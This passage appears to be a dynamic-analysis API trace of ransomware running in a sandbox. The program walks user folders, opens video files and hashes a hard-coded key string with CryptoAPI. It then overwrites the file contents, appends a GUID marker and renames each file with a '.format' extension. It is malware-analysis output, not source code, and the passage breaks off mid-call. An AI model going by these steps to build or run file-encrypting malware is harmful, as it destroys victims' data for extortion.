ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0067.355] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini") returned=".ini" [0067.355] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1 [0067.355] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms") returned=".search-ms" [0067.355] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\everywhere.search-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0067.355] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1 [0067.355] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms") returned=".search-ms" [0067.355] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\indexed locations.search-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0067.355] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0 [0067.355] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0067.355] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0067.355] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0067.355] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\") returned="SendTo\\" [0067.355] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0067.356] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0067.356] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0067.356] PathFindFileNameW (pszPath="") returned="" [0067.356] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0067.356] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0067.356] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0067.356] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\") returned="Start Menu\\" [0067.356] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0067.356] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0067.356] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0067.356] PathFindFileNameW (pszPath="") returned="" [0067.356] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0067.356] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0067.356] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0067.356] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\") returned="Templates\\" [0067.356] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0067.356] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0067.356] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0067.356] PathFindFileNameW (pszPath="") returned="" [0067.357] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 0xffffffff [0067.357] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0067.357] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0067.357] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0067.357] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0067.357] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0067.357] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0067.357] PathFindFileNameW (pszPath="") returned="" [0067.357] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9691aae0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9691aae0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0067.357] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9691aae0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x9691aae0, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.357] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4421dc80, ftCreationTime.dwHighDateTime=0x1d4cadd, ftLastAccessTime.dwLowDateTime=0x3f681780, ftLastAccessTime.dwHighDateTime=0x1d4d3fd, ftLastWriteTime.dwLowDateTime=0x3f681780, ftLastWriteTime.dwHighDateTime=0x1d4d3fd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3ymkgwpUkCk", cAlternateFileName="3YMKGW~1")) returned 1 [0067.357] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0067.357] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini") returned=".ini" [0067.357] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98126c0, ftCreationTime.dwHighDateTime=0x1d4cfbb, ftLastAccessTime.dwLowDateTime=0xa6fc8f30, ftLastAccessTime.dwHighDateTime=0x1d4d177, ftLastWriteTime.dwLowDateTime=0xa6fc8f30, ftLastWriteTime.dwHighDateTime=0x1d4d177, nFileSizeHigh=0x0, nFileSizeLow=0xf645, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EVN7NAajpgvxg30uiR.mp4", cAlternateFileName="EVN7NA~1.MP4")) returned 1 [0067.357] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EVN7NAajpgvxg30uiR.mp4") returned=".mp4" [0067.357] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EVN7NAajpgvxg30uiR.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\evn7naajpgvxg30uir.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.358] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=63045) returned 1 [0067.358] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.360] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xf61f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.360] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.361] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0xf645, lpOverlapped=0x0) returned 1 [0067.361] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.361] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.361] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.361] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abf08) returned 1 [0067.362] CryptCreateHash (in: hProv=0x6abf08, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.362] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.362] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.362] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.362] GetLastError () returned 0x0 [0067.362] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.362] CryptReleaseContext (hProv=0x6abf08, dwFlags=0x0) returned 1 [0067.363] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xf645, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.363] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.363] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.363] CloseHandle (hObject=0x5c8) returned 1 [0067.364] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EVN7NAajpgvxg30uiR.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\evn7naajpgvxg30uir.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\EVN7NAajpgvxg30uiR.mp4.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\evn7naajpgvxg30uir.mp4.format")) returned 1 [0067.365] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x191129f0, ftCreationTime.dwHighDateTime=0x1d4cefd, ftLastAccessTime.dwLowDateTime=0x22d690a0, ftLastAccessTime.dwHighDateTime=0x1d4c846, ftLastWriteTime.dwLowDateTime=0x22d690a0, ftLastWriteTime.dwHighDateTime=0x1d4c846, nFileSizeHigh=0x0, nFileSizeLow=0x7d8d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="flxbNwcWgV0n4kR.flv", cAlternateFileName="FLXBNW~1.FLV")) returned 1 [0067.365] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.365] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.365] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.365] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\flxbNwcWgV0n4kR.flv") returned=".flv" [0067.365] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\flxbNwcWgV0n4kR.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\flxbnwcwgv0n4kr.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.365] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=32141) returned 1 [0067.365] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.368] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x7d67, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.368] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.369] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0067.369] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.369] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.369] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x7d8d, lpOverlapped=0x0) returned 1 [0067.369] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.369] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0067.369] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.369] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.369] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abf08) returned 1 [0067.370] CryptCreateHash (in: hProv=0x6abf08, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.370] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.370] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.370] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0067.370] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.370] GetLastError () returned 0x0 [0067.370] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.370] CryptReleaseContext (hProv=0x6abf08, dwFlags=0x0) returned 1 [0067.370] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0067.370] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x7d90) returned 0x32b2f40 [0067.370] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0067.370] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.370] WriteFile (in: hFile=0x5c8, lpBuffer=0x32b2f40*, nNumberOfBytesToWrite=0x7d88, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x32b2f40*, lpNumberOfBytesWritten=0x38cfb24*=0x7d88, lpOverlapped=0x0) returned 1 [0067.370] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0067.370] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x7d8d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.371] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d548 [0067.371] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3289700 [0067.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3289700, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0067.371] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x32563b0 [0067.371] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0067.371] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d548 | out: hHeap=0x5d0000) returned 1 [0067.371] WriteFile (in: hFile=0x5c8, lpBuffer=0x32563b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x32563b0*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0067.371] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32563b0 | out: hHeap=0x5d0000) returned 1 [0067.371] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.371] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.371] CloseHandle (hObject=0x5c8) returned 1 [0067.372] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abf08 [0067.372] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x880) returned 0x3178dd8 [0067.372] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abf08 | out: hHeap=0x5d0000) returned 1 [0067.372] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\flxbNwcWgV0n4kR.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\flxbnwcwgv0n4kr.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\flxbNwcWgV0n4kR.flv.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\flxbnwcwgv0n4kr.flv.format")) returned 1 [0067.372] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.372] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.373] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abce8 | out: hHeap=0x5d0000) returned 1 [0067.373] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65c274c0, ftCreationTime.dwHighDateTime=0x1d4c5a7, ftLastAccessTime.dwLowDateTime=0x91dd0a60, ftLastAccessTime.dwHighDateTime=0x1d4d1e7, ftLastWriteTime.dwLowDateTime=0x91dd0a60, ftLastWriteTime.dwHighDateTime=0x1d4d1e7, nFileSizeHigh=0x0, nFileSizeLow=0x7fe4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pea4H1Vnl0zHM1NrtA.avi", cAlternateFileName="PEA4H1~1.AVI")) returned 1 [0067.373] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0067.373] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.373] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0067.373] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Pea4H1Vnl0zHM1NrtA.avi") returned=".avi" [0067.373] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Pea4H1Vnl0zHM1NrtA.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\pea4h1vnl0zhm1nrta.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.374] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=32740) returned 1 [0067.374] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.376] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x7fbe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.376] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.377] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0067.377] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0067.377] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.377] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x7fe4, lpOverlapped=0x0) returned 1 [0067.377] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.377] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0067.377] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.377] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.377] CryptAcquireContextW (in: phProv=0x38cfa94, 